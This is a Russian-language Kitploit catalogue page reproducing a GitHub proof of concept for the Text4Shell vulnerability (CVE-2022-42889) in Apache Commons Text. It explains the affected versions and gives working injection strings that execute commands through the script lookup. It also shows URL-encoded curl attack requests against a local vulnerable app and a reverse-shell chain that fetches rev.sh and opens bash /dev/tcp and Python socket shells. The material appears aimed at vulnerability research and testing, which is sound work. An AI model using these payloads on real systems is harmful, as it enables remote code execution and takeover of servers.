Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889, также известный как Text4Shell: исследование и PoC | Kitploit
Инструменты/GitHubGitHub/cxzero/cve-2022-42889-text4shell
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889, также известный как Text4Shell: исследование и PoC

Репозиторий
2033 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-42889, он же text4shell

PoC для недавно обнаруженной уязвимости в Apache Commons Text от @pwntester:

Как упоминается в https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:

Уязвимость существует в объекте интерполятора StringSubstitutor. Интерполятор создаётся методом StringSubstitutor.createInterpolator() и позволяет выполнять строковые подстановки, определённые в StringLookupFactory. Это можно использовать, передав строку «${prefix:name}», где prefix — вышеупомянутая подстановка. Использование подстановок «script», «dns» или «url» позволит специально сформированной строке выполнять произвольные скрипты при передаче в объект интерполятора.

Затронутые версии

Затронутыми версиями Apache Commons Text являются версии с 1.5 по 1.9. Она была исправлена в версии 1.10.

Условия эксплуатации

  • Использование версии Apache Commons Text с 1.5 по 1.9
  • Использование класса интерполятора StringSubstitutor

Для удалённой эксплуатации управляемый атакующим ввод должен использоваться как входные данные для интерполяции StringSubstitutor. В частности, в методах StringSubstitutor.replace() или StringSubstitutor.replaceIn()

Другие движки JavaScript

Начиная с JDK 15 движок Nashorn JavaScript Engine был удалён: https://openjdk.org/jeps/372. Но если подключены сторонние зависимости, такие как JEXL, в Apache Commons Text может произойти RCE (https://twitter.com/pwntester/status/1582321752566161409)

Эксплуатация

Интерполятор script

Может быть использован для получения RCE.

JDK < 15

Движок Nashorn:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

При использовании стороннего JEXL:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

Интерполятор dns

Может привести к DNS-запросу:

root@kitploit:~
${dns:address|commons.apache.org}

Интерполятор url

Подключается к указанному URL и пытается получить его содержимое:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Ручная сборка PoC

Шаблон на основе https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Запуск приложения в Docker

С использованием JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

С использованием JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

Предоставленные PoC

Для проверки различных упомянутых векторов атак предоставлены разные конечные точки.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

С использованием Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

С использованием JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

Получение reverse shell

Для простоты я использую стандартный сетевой интерфейс Docker для netcat-слушателя. Покопавшись, я подобрал следующие полезные нагрузки с bash и python reverse shell, которые отлично работают:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Где rev.sh раздаётся со следующим возможным содержимым:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

Ссылки

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Благодарности авторам других PoC

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
Скачать инструмент